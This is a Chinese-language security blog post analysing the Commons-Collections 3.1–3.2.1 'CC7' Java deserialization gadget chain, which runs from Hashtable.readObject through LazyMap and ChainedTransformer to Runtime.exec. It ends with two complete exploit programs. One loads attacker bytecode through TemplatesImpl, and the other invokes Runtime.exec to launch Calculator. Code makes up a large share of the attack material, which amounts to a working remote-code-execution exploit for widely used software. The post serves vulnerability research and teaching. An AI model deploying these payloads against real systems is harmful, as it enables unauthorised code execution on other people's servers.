CommonsCollections7利用链

Java安全

利用条件

Commons-Collections 3.1 - 3.2.1

不限制JDK版本

利用链

img

上图是在网上找的CC的几个版本链图

Gadget chain:
	java.util.Hashtable.readObject
    	java.util.Hashtable.reconstitutionPut
    		org.apache.commons.collections.map.AbstractMapDecorator.equals
    			java.util.AbstractMap.equals
    			org.apache.commons.collections.map.LazyMap.get
    				org.apache.commons.collections.functors.ChainedTransformer.transform
    					org.apache.commons.collections.functors.InvokerTransformer.transform
    						java.lang.reflect.Method.invoke
    							sun.reflect.DelegatingMethodAccessorImpl.invoke
    								sun.reflect.NativeMethodAccessorImpl.invoke
    									sun.reflect.NativeMethodAccessorImpl.invoke0
    										java.lang.Runtime.exec

利用链分析

Hashtable

image-20230818161644257

Hashtable 类中的 readObject() 方法中调用了 reconstitutionPut() 方法,该类作为一个反序列化入口

image-20230818161935318

readObject() 方法中有以下片段代码

for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // sync is eliminated for performance
    reconstitutionPut(table, key, value);
}

for 循环获取了 Hashtable 中的元素,也就是我们put的那两个元素,这里要注意 key 不能相同,因为在 Hashtablekey 是唯一的

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}
// Creates the new entry.
@SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;

如果我们只put一个元素的话,在这里不会进入for循环,不会调用 equals() 方法

我们需要put两个元素,还有一个更重要的一点是put方法会调用两次,如果每次key计算出来的hashCode不一样,那么index变量也会受到影响,在第二次对tab进行迭代时就找不到对应的值了,就不会进行for循环导致不能执行到 e.key.equals(key) 这里

根据上面的代码分析,我们发现貌似对 tab 中的 hash 和当前元素的 hash 进行了比较是否相等

int hash = key.hashCode();

hash 是通过调用 key.hashCode() 方法获得的,那么也就说我们put的两个元素的 keyhash 要相等,看ysoserial工具链中的代码,使用了 yyzZ,这两个hashCode是一样的,还有 ""f5a5a608 的hashCode也是一样的

image-20230818170510014

那么我们知道了必须要有两个元素,且这两个元素的 key 分别是 yyzZ,在后面调用了 e.keyequals 方法,而这个 key 对象其实就是 LazyMap

AbstractMapDecorator

image-20230818171306224

LazyMap 类中没有 equals 方法,在它的父类 AbstractMapDecorator 中有 equals() 方法

protected transient Map map;

map 属性是 Map 类型,这里的 map 其实就是 HashMap 类对象,那么我们看下 HashMap 的父类有没有 equals() 方法

AbstractMap

image-20230818191952107

image-20230818192105357

HashMap 的父类 AbstractMap 中有一个 equals() 方法,其中调用了 get() 方法,m 就是我们传入的 LazyMap 类对象

image-20230818194000913

image-20230818162149324

后续就是和CC3的前半部分差不多了,后续就不过多介绍了

这里要注意的一点是,在利用代码中调用 hashtable.put() 方法时,也会调用 equals() 方法,所以也能调用到这里的 get() 方法,导致在序列化阶段就执行了恶意代码,这里我们需要先将 ChainedTransformer 实例化对象的构造方法传入一个空的 Transformer[] 对象,等 hashtable.put() 方法调用完之后再通过反射来设置 iTransformers 属性的值为真正需要利用的 Transformer 对象即可

image-20230818162204796

为什么要remove(“yy”)?

image-20230819092632552

我们正常执行到 hashtable.put(lazyMap1, 1); 是可以正常的将 lazyMap1 对象添加到hashtable中的

image-20230819092829046

由于在调用 hashtable.put() 方法时,也会调用 equals方法,我们第一次put的时候 tab[] 是空的,for循环是进不去的则正常添加到hashtable中

image-20230819093238747

image-20230819093331148

当第二次put的时候,会从hashtable中迭代获取我们上次添加的那个元素 {yy=1},这里由于 yyzZ 的hashCode一样,则调用 AbstractMap 类的 equals() 方法

image-20230819093935142

这里又使用了迭代器,获取了上次我们添加的那个元素 {yy=1},此时 keyyym 变量则是 {zZ=1},跟进到 LazyMapget() 方法中看一下

image-20230819094233884

这里判断 {zZ=1} 中是否包含 yy 这个键,结果是false,则进入if语句

image-20230819094431536

这里往 lazyMap2 对象中添加了一个元素 {yy=yy},不论后面如何,这里就很奇怪了,lazyMap2 对象中有两个元素了 {zZ=1,yy=yy},那么在反序列化时调用 reconstitutionPut() 方法时会导致计算出来的hashCode不一致,就不能进入for循环执行 equals() 方法了

总结一下,这里主要的原因就是在 lazyMap2.put() 时,多加了一个元素,那么在反序列化时 lazyMap1lazyMap2 的key生成出来的hashCode不一致,也就不能执行到 equals() 方法这里了

利用链EXP编写

TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
                "/CommonsCollections/EvilCode.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesClass = templates.getClass();
        Field name = TemplatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"x");
        Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformer);

        lazyMap2.remove("yy");

        serialize(hashtable);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

###InvokerTransformer

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformer);

        lazyMap2.remove("yy");

        serialize(hashtable);
        deserialize("ser.bin");
    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/a70cc9306261.html

Comments